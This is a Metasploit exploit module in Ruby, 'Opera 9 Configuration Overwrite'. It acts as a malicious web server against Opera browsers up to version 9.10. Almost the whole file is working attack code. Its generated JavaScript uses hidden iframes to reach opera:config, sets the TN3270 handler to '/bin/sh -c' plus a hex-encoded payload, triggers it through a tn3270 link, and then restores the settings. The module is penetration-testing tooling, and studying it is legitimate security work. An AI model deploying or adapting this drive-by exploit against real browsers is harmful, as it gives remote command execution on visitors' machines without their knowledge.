##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    ua_name: HttpClients::OPERA,
    ua_maxver: '9.10',
    os_name: [ OperatingSystems::Match::WINDOWS, OperatingSystems::Match::LINUX ],
    javascript: true,
    rank: ExcellentRanking, # reliable cmd exec, cleans up after itself
    vuln_test: nil
  })

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Opera 9 Configuration Overwrite',
          'Description' => %q{
            Opera web browser in versions <= 9.10 allows unrestricted script
            access to its configuration page, opera:config, allowing an
            attacker to change settings and potentially execute arbitrary
            code.
          },
          'License' => BSD_LICENSE,
          'Author' => [
            'egypt', # stolen from mpack
          ],
          'References' => [
            [ 'OSVDB', '66472'],
          ],
          'Payload' => {
            'EXITFUNC' => 'process',
            'Space' => 2048,
            'DisableNops' => true,
            'BadChars' => ' '
          },
          'Targets' => [
            # [ 'Opera < 9.10 Windows',
            #	{
            #		'Platform' => 'win',
            #		'Arch' => ARCH_X86,
            #	}
            # ],
            [
              'Opera < 9.10 Unix Cmd',
              {
                'Platform' => 'unix',
                'Arch' => ARCH_CMD
              }
            ],
          ],
          # Not sure when this was disclosed but it's been known since at
          # least March 5, 2007, since that's the release date on the version
          # of mpack I stole this from.
          'DisclosureDate' => '2007-03-05',
          'DefaultTarget' => 0,
          'Notes' => {
            'Reliability' => UNKNOWN_RELIABILITY,
            'Stability' => UNKNOWN_STABILITY,
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
          }
        }
      )
    )
  end

  def on_request_uri(cli, request)
    print_status("Got request #{request.uri}")

    case request.uri
    when get_resource
      print_status("Sending #{name}")
      content = '<body><script>'
      content << generate_evil_js(cli, request)
      content << '</script></body>'
      headers = { 'Content-Type' => 'text/html' }
    else
      print_status("404ing request for #{request.uri}")
      send_not_found(cli)
      return
    end
    send_response_html(cli, content, headers)

    print_status("Done with request #{request.uri}")
  end

  def generate_evil_js(cli, _request)
    # There are a bunch of levels of quotes here, so the easiest way to
    # make everything line up is to hex escape the command to run
    p = regenerate_payload(cli).encoded
    send_not_found(cli) && return if !p

    shellcode = Rex::Text.to_hex(p, '%')
    <<~ENDJS
      blank_iframe = document.createElement('iframe');
      blank_iframe.src = 'about:blank';
      blank_iframe.setAttribute('id', 'blank_iframe_window');
      blank_iframe.setAttribute('style', 'display:none');
      document.body.appendChild(blank_iframe);
      blank_iframe_window.eval(
        "config_iframe = document.createElement('iframe');" +
        "config_iframe.setAttribute('id', 'config_iframe_window');" +
        "config_iframe.src = 'opera:config';" +
        "document.body.appendChild(config_iframe);" +
        "cache_iframe = document.createElement('iframe');" +
        "cache_iframe.src = 'opera:cache';" +
        "cache_iframe.onload = function ()" +
        "{" +
        "	config_iframe_window.eval" +
        "	(\\"" +
        "	old_handler = opera.getPreference('Network','TN3270 App');" +
        "	old_pref    = opera.getPreference('User Prefs','Run TN3270 In Terminal');" +
        "	shellcode = '#{shellcode}';" +
        "	opera.setPreference('Network','TN3270 App','/bin/sh -c ' + unescape(shellcode));" +
        "	opera.setPreference('User Prefs','Run TN3270 In Terminal','0');" +
        "	app_link = document.createElement('a');" +
        "	app_link.setAttribute('href', 'tn3270://#{Rex::Text.rand_text_alpha(rand(5..9))}');" +
        "	app_link.click();" +
        "	setTimeout(function () {opera.setPreference('Network','TN3270 App',old_handler)},1000);" +
        "	setTimeout(function () {opera.setPreference('User Prefs','Run TN3270 In Terminal',old_pref)},1000);" +
        "	\\");" +
        "};" +
        "document.body.appendChild(cache_iframe);" +
      "");
    ENDJS
  end
end
